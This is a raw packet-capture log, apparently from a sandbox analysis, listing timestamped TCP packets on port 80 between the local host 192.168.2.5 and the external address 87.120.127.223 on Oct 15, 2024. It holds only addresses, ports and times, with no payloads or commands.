Oct 15, 2024 19:22:39.259622097 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.260019064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.260112047 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.260150909 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.260162115 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.260202885 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.260564089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.260596037 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.260628939 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.260679007 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.304831982 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.304886103 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.304898977 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.304919004 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.305120945 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.308051109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.308083057 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.308115005 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.308182955 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.308214903 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.308249950 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.308269978 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.346437931 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.346488953 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.346524000 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.346662045 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.347156048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347212076 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347244978 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347297907 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347302914 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.347337008 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347371101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347397089 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.347461939 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347506046 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.347511053 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.347619057 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.347991943 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.348043919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.348074913 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.348131895 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.374929905 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.374999046 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375040054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375072956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375106096 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375132084 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.375132084 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.375159025 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375166893 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.375196934 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375231028 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375283957 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.375315905 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375348091 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375380993 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375402927 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.375555992 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.375754118 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375822067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375854969 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375876904 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.375889063 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.375951052 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.376468897 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.376511097 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.377063036 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.420809984 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.420870066 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.420900106 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.420931101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.420970917 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.421006918 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.424031019 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.424079895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.424176931 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.424232006 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.424424887 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.424482107 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.464699984 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.464767933 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.464802980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.464834929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.464871883 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.464900970 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.464946032 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.464946032 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.465158939 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.465605974 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465641022 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465673923 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465704918 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465733051 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.465738058 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465766907 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.465771914 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465806007 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465832949 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.465838909 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.465882063 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.466211081 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.466238976 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.466290951 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.466329098 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.466376066 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.466430902 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.493103027 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493144035 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493211985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493246078 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493279934 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493293047 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.493328094 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.493355989 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493391991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493400097 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.493424892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493473053 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.493796110 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493875980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493908882 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493928909 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.493942022 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.493987083 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.494210005 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.494262934 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.494294882 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.494313955 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.538455009 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.538512945 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.538572073 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.538590908 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.538619995 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.538665056 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.541439056 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.541474104 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.541507006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.541549921 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.588155031 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.798372030 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798435926 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798471928 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798506975 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798552990 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.798589945 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.798599005 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798634052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798666954 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798701048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798752069 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798754930 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.798784018 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798816919 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798850060 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798865080 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.798883915 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798917055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798929930 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.798954964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.798999071 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799025059 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799057961 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799074888 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799092054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799129963 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799161911 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799196005 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799231052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799237967 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799263954 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799289942 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799298048 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799453974 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799490929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799525023 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799546957 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799556971 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799607992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799638033 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799642086 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799693108 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799721956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799740076 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799752951 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799772978 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799787045 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799798965 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799820900 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799853086 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799871922 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799901962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799935102 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.799948931 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.799983025 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800014973 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800030947 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800049067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800081015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800093889 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800113916 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800148010 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800159931 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800184965 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800218105 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800231934 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800252914 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800286055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800301075 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800318956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800350904 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800364017 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800384045 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800426960 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800499916 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800534964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800569057 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800580025 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.800601959 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.800642967 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.804263115 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804383993 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804419041 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804452896 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.804482937 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.804526091 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804558992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804591894 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804639101 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.804812908 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804867029 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.804910898 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.804972887 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.805104017 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805332899 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805367947 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805392981 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.805418015 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.805463076 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805496931 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805696011 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805748940 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805752039 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.805752039 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.805782080 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.805788040 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.805788040 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.805830002 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.806114912 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.806149960 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.806185007 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.806220055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.806236982 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.806655884 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.806711912 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.806941032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.806976080 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.806994915 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.807027102 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807029009 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.807061911 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807096958 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807141066 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.807461023 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807609081 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807658911 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807691097 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807723045 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807724953 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.807724953 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.807756901 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807790995 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807823896 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.807825089 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.807883978 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.808559895 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.808593035 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.808620930 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.808626890 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.808640003 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.808677912 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.808712006 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.808736086 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.808743954 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.808754921 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.808779001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.808795929 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.808835983 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.809484959 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.809534073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.809567928 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.809617043 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.809621096 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.809652090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.809685946 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.809700012 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.809720039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.809761047 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.810420036 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.810518980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.810575008 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.810609102 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.810626984 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.810642958 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.810677052 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.810688019 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.810709953 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.810754061 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.811355114 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.811439991 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.811491966 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.811525106 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.811558962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.811578035 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.811593056 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.811646938 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.845772982 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.845792055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.845807076 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.845873117 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.845891953 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.845906973 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.845922947 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.845944881 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.845971107 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.846086025 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846107960 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846122980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846132040 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846168995 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.846172094 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:39.846182108 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:39.846189022 CEST	80	49807	87.120.127.223	192.168.2.5
